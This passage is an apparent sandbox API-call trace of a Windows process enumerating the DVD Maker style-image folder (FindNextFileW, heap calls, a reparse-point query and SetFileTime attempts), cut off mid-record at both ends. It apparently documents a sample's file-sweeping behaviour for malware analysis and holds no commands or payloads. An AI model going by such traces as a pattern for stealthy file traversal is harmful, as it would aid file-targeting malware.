ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0245.409] GetLastError () returned 0x12 [0245.409] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.409] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.409] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.409] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.409] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0245.409] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.410] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.411] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93f370 [0245.411] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93f370, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93f370, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.411] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f370) returned 1 [0245.411] NtClose (Handle=0x1c0) returned 0x0 [0245.411] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.411] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.413] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.413] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928180 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b438 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9281a0 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b540 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9281c0 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b648 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.414] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0245.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9281e0 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b750 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928200 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b858 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928220 [0245.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b960 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928240 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ba68 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928260 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93bb70 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.416] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.416] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928280 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93bc78 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9282a0 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93bd80 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9282c0 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93be88 [0245.417] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xf00) returned 0x9349d8 [0245.418] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e4a8) returned 1 [0245.418] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0245.418] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.418] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.418] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.418] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.418] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.418] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9282e0 [0245.418] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93bf90 [0245.418] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0245.418] GetLastError () returned 0x12 [0245.418] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.418] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0245.418] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, 